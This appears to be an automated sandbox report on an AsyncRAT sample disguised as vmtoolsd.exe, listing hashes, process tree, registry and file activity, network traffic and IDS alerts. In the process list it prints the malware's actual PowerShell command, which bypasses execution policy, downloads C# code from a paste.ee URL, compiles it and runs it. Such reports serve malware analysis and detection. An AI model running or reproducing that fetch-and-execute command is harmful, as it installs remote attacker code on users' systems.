| File name: | vmtoolsd.exe |
| Full analysis: | https://app.any.run/tasks/95871e8c-fa87-4587-ba50-d040d8629a32 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | April 16, 2025, 17:29:17 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 12 sections |
| MD5: | BFB97EADA45404AE97283C9BC7429CA1 |
| SHA1: | 060556AA0CCE67B9B5555F7AF10ECD1497F5351E |
| SHA256: | 2E9CBEF2D254F8A5B4A166B128926062B7FB9A6D70894DA21E12E8C277CEBFEA |
| SSDEEP: | 3072:MPsAR5twHNcdyZvgyCfYAhlZ+pWkSb4o5PYyNvAgsoyqQ96aJc2N/2:M0AR5twHNcdyZv8HyVSEo5PI+y1xCE+ |
| .exe | | | Generic Win/DOS Executable (50) |
|---|---|---|
| .exe | | | DOS Executable Generic (49.9) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:04:11 12:18:44+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14 |
| CodeSize: | 64000 |
| InitializedDataSize: | 66560 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x22c0 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 11.0.26100.1150 |
| ProductVersionNumber: | 11.0.26100.1150 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | F12 Attach Chooser executable |
| FileVersion: | 11.00.26100.1150 (WinBuild.160101.0800) |
| InternalName: | F12Chooser.exe |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | F12Chooser.exe |
| ProductName: | Internet Explorer |
| ProductVersion: | 11.00.26100.1150 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 864 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -command ""$source = (Invoke-WebRequest -Uri 'https://paste.ee/r/Bi9rbOsB').Content; Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source -Language CSharp; [HelloWorld]::SayHello()"" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | vmtoolsd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2600 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES12EA.tmp" "c:\Users\admin\AppData\Local\Temp\CSC41B90D0458244CFB89A8689F347770A0.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
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| 2984 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Services Installation Utility Version: 4.8.9037.0 built by: NET481REL1 Modules
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| 4380 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 5124 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ppvblopj.cmdline" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
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| 6248 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | UCPDMgr.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7300 | "C:\Users\admin\Desktop\vmtoolsd.exe" | C:\Users\admin\Desktop\vmtoolsd.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: F12 Attach Chooser executable Exit code: 0 Version: 11.00.26100.1150 (WinBuild.160101.0800) Modules
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| 7344 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
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| 7376 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (7300) vmtoolsd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders |
| Operation: | write | Name: | Startup |
Value: C:\ProgramData\Vware\Vware_3A9B43B37AC6FB6 | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2984) RegSvcs.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 864 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zmn4tiom.wvw.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 864 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x0i2zz1u.kby.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 864 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ppvblopj.0.cs | text | |
MD5:7D6EABA49C6197E148FC4B7452B1528F | SHA256:97F1A04EF8ACA91A458DD3CB2C6FB29B18F24701620796441955FCECA998DEC2 | |||
| 864 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:2703CB04D4683062655B51EA640EC57A | SHA256:ACA65C288C8ED195F08A8B271C81A497E2FB840C589E813657D585ECA9189067 | |||
| 5124 | csc.exe | C:\Users\admin\AppData\Local\Temp\ppvblopj.dll | executable | |
MD5:6767D82878BBC1586C603F6B52036384 | SHA256:F775EB64DBF055E6E37357D9F99B089565940740A07F3055CC26FE4A4B16C5CD | |||
| 5124 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC41B90D0458244CFB89A8689F347770A0.TMP | binary | |
MD5:8CDEF55F00E88A73F81BB8143F94A114 | SHA256:4ABFEDF6EAA0C55A4BAD4DA39ACA208FE3E4F5DA51B22D7B10FE433C63036EF2 | |||
| 2600 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES12EA.tmp | binary | |
MD5:BA16B1357DF6C3238FC1BD209FD118B1 | SHA256:34BFF25BBC76AB6624C296A11475103CE6C3AF767761089F29A4769FA149FFBA | |||
| 5124 | csc.exe | C:\Users\admin\AppData\Local\Temp\ppvblopj.out | text | |
MD5:E713C027B80485578CAD4A995E260DA5 | SHA256:A88E8BDDD90B14B5A751CA0292989846875E4EC5D2EBDC74E8F47228080ECB87 | |||
| 864 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ppvblopj.cmdline | text | |
MD5:5C6B209E1071F7420F0096FB9A8D0687 | SHA256:D87CF9845D49A15C403FE8151B3C69132680063CE7F7654A1130676AA1BF9BD7 | |||
| 7300 | vmtoolsd.exe | C:\ProgramData\Vware\Vware_3A9B43B37AC6FB6\vmtoolsd.exe | executable | |
MD5:BFB97EADA45404AE97283C9BC7429CA1 | SHA256:2E9CBEF2D254F8A5B4A166B128926062B7FB9A6D70894DA21E12E8C277CEBFEA | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.157:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
7988 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7988 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.48.23.157:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 40.126.32.136:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7988 | SIHClient.exe | 172.202.163.200:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | GB | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
864 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.endofinternet .net Domain |
2196 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Online Pastebin Text Storage |
2984 | RegSvcs.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
2984 | RegSvcs.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
2984 | RegSvcs.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) |